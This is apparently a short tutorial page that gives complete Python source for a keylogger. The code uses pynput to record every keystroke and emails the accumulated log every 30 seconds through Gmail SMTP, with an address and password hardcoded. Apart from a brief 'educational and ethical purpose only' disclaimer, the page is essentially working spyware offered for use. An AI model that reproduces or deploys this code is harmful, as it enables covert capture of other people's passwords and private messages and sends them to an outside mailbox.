How to make keylogger tool using Python.


The keylogger is another useful tool built on Python and it's libraries, which traces users keyboard activities and report them to specified e-mail address. Please don't forget to use it for educational and ethical purpose only like network administration and network security.
This solution itself uses Python2 realisation as pynput was not adapted for Python3 at the time of code creation which is not a big problem for practical usage at all.
Below is a Python realisation of keylogger which can be executed from this command line:# python andrew_keylogger.py





import pynput.keyboard
import smtplib
import threading

log = ""

def callback_function(key):
    global log
    try:
        log = log + key.char.encode("utf-8")
        #log = log + str(key.char)
    except AttributeError:
        if key == key.space:
            log = log + " "
        else:
            log = log + str(key)

    print(log)

def send_email(email,password,message):
    email_server = smtplib.SMTP("smtp.gmail.com",587)
    email_server.starttls()
    email_server.login(email,password)
    email_server.sendmail(email,email,message)
    email_server.quit()

def thread_function():
    global log
    send_email("andrewtest@gmail.com", "andrewtest123456", log)
    log = ""
    timer_object = threading.Timer(30,thread_function)
    timer_object.start()

keylogger_listener = pynput.keyboard.Listener(on_press=callback_function)
with keylogger_listener:
    thread_function()
    keylogger_listener.join()


See also related topics: